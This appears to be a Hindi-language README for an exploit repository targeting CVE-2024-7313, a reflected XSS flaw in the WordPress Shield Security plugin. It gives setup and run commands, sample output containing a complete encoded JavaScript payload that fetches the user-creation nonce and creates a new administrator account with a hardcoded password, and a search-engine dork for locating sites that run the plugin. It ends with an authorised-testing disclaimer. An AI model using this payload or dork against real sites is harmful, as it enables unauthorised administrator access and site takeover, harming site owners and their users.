
Custom Proof-of-Concept: XSS पर अनधिकृत Admin Account Creation के लिए, WordPress Plugin Shield Security < 20.0.6 के माध्यम से
इस रिपॉजिटरी में एक Python PoC स्क्रिप्ट है जो WordPress के लिए Shield Security Plugin में एक reflected XSS भेद्यता का शोषण करने के लिए डिज़ाइन की गई है, जो संस्करण 20.0.6 से नीचे के संस्करणों को प्रभावित करती है। यह भेद्यता (CVE-2024-7313) एक हमलावर को लक्ष्य के लिए अनुकूलित एक दुर्भावनापूर्ण लिंक बनाने की अनुमति देती है, जब कोई व्यवस्थापक उस पर क्लिक करता है, तो शोषण XSS के माध्यम से एक अनधिकृत व्यवस्थापक खाता बनाएगा। स्क्रिप्ट स्वचालित रूप से कमजोर इंस्टॉलेशन का पता लगाती है और भेद्यता का शोषण करने के लिए एक पेलोड उत्पन्न करती है।
requests और beautifulsoup4 लाइब्रेरीज़आवश्यक लाइब्रेरीज़ को इस प्रकार इंस्टॉल करें:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
उदाहरण:
python3 exploit.py http://127.0.0.1
नए व्यवस्थापक उपयोगकर्ता (उपयोगकर्ता नाम, ईमेल, प्रथम नाम, अंतिम नाम) के लिए आवश्यक विवरण दर्ज करने के बाद, स्क्रिप्ट एक पेलोड URL उत्पन्न करेगी। आप इस URL को अपने ब्राउज़र में पेस्ट करके रिफ्लेक्टेड XSS हमले को निष्पादित कर सकते हैं, जो WordPress साइट में एक नया व्यवस्थापक उपयोगकर्ता बनाएगा।
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
एक बार जब आप उत्पन्न XSS पेलोड URL पर जाते हैं, तो शोषण निष्पादित हो जाएगा, और लक्ष्य WordPress साइट पर एक नया व्यवस्थापक उपयोगकर्ता बनाया जाएगा।
आप सहायता मेनू तक इस प्रकार पहुँच सकते हैं:
python3 exploit.py -h
कमजोर प्लगइन का उपयोग करने वाली वेबसाइटों की पहचान करने के लिए, आप निम्नलिखित डॉर्क का उपयोग कर सकते हैं:
inurl:"/wp-content/plugins/wp-simple-firewall/"
यह आपको उन वेबसाइटों को खोजने में मदद करेगा जिनमें Shield Security प्लगइन स्थापित है। कृपया ध्यान दें कि संस्करण संख्या सार्वजनिक रूप से दिखाई नहीं देती है, इसलिए मैन्युअल परीक्षण की आवश्यकता हो सकती है।
wp-login.php पृष्ठ से प्रतिक्रिया की जाँच करके।यह उपकरण केवल शैक्षिक उद्देश्यों के लिए है और इसका उपयोग केवल अधिकृत पेनिट्रेशन टेस्टिंग वातावरण में किया जाना चाहिए। उन सिस्टमों तक अनधिकृत पहुँच या उपयोग जिनके आप मालिक नहीं हैं, अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है।